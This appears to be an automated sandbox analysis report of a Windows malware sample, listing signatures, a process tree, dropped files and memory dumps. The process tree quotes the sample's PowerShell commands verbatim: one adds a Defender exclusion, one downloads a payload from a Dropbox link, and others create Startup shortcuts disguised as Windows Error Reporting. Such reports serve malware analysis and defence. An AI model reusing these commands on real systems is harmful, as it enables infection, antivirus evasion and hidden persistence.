Analysis

  • max time kernel
    151s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 13:07

General

  • Target
    2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe
  • Size 75.5MB
  • Sample260804-qctppsfl31
  • SHA256 d938b5136d13fbbb4d8c677bc1d05b81ffd3bc0167589541b4ba8e5534508e8c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects executables referencing virtualization MAC addresses 7 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 5 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell and hide display window.

  • Looks for VMWare drivers on disk 2 TTPs 5 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 5 IoCs
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe"
    1⤵
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare drivers on disk
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5152
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/wsnb7liivxcs9zaxghnyv/777.sgn?rlkey=mq9c5ws3n5t6ajmggcg4m0xsi&st=qooyxj50&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\WerFault.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Service'; $Shortcut.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2328
    • C:\Windows\system32\cmd.exe
      "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4424
      • C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:696
        • C:\Windows\system32\cmd.exe
          "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4952
          • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
            C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
            5⤵
            • Looks for VirtualBox drivers on disk
            • Looks for VMWare drivers on disk
            • Executes dropped EXE
            • Checks processor information in registry
            PID:4608
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Looks for VirtualBox drivers on disk
      • Looks for VMWare drivers on disk
      • Executes dropped EXE
      PID:2408
  • C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
    C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
    1⤵
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare drivers on disk
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:5424
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2080
  • C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
    C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
    1⤵
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare drivers on disk
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2488

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        werdata.db

        • Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
        • Size 12.4MB
        • SHA256 3f71282cafee16fd77480dee5b76ce7c53c40e0813cc61ddd27292acf7036030
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ba3f7f36154eeec9db2f0b054d9f382e84114a19b4dc866ba5ddc035207cbf01
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_ljtqbhfq.yc4.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ljtqbhfq.yc4.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/696-88-0x00007FF646B10000-0x00007FF646B7F000-memory.dmp

        memory/1696-83-0x00007FF646B10000-0x00007FF646B7F000-memory.dmp

        memory/2364-37-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-39-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-35-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-27-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-40-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-42-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-41-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-31-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-38-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-45-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-34-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-29-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-30-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2364-28-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/2408-87-0x00007FF7C2530000-0x00007FF7C259F000-memory.dmp

        memory/3036-46-0x00007FF6A38A0000-0x00007FF6A390F000-memory.dmp

        memory/3036-86-0x00007FF6A38A0000-0x00007FF6A390F000-memory.dmp

        memory/4608-69-0x0000021FFC310000-0x0000021FFCF79000-memory.dmp

        memory/4608-89-0x00007FF7C2530000-0x00007FF7C259F000-memory.dmp

        memory/4608-78-0x0000021F80000000-0x0000021F84198000-memory.dmp

        memory/5152-18-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-8-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-25-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-17-0x00000114D6E20000-0x00000114D6E2A000-memory.dmp

        memory/5152-16-0x00000114D6E50000-0x00000114D6F02000-memory.dmp

        memory/5152-15-0x00000114D6E30000-0x00000114D6E4E000-memory.dmp

        memory/5152-12-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-11-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-10-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-1-0x00007FF8BD79F000-0x00007FF8BD7A0000-memory.dmp

        memory/5152-9-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-19-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-7-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-59-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-20-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-24-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-21-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-6-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-5-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-22-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

        memory/5152-4-0x00000114D6D70000-0x00000114D6D92000-memory.dmp

        memory/5424-80-0x00007FF7C2530000-0x00007FF7C259F000-memory.dmp